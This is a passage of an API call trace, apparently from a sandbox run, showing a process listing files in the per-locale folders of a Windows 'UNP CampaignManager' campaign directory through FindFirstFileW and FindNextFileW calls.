	[0155.859] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0155.861] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.861] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.861] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.861] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.861] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.861] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.862] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0155.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0155.863] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1
	[0155.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0155.863] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL") returned 100
	[0155.863] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0155.864] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.864] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xac78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.864] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.865] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.865] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.865] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.865] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0155.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0155.866] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0155.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0155.866] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR") returned 100
	[0155.866] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0155.868] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.868] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x98b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.868] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x25a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.868] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.869] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.869] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.869] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0155.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0155.870] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0155.870] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0155.870] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU") returned 100
	[0155.870] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0155.872] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.872] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa80d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.872] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x259, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.872] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.872] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.872] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.872] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0155.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0155.874] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3d2b8e00, ftLastWriteTime.dwHighDateTime=0x1d2c281, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.874] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84b3b2f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="is-IS", cAlternateFileName="")) returned 1
	[0155.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0155.874] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS") returned 100
	[0155.874] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84b3b2f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0155.875] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84b3b2f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.875] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.875] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x71249d00, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.875] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.876] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.876] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.876] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0155.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
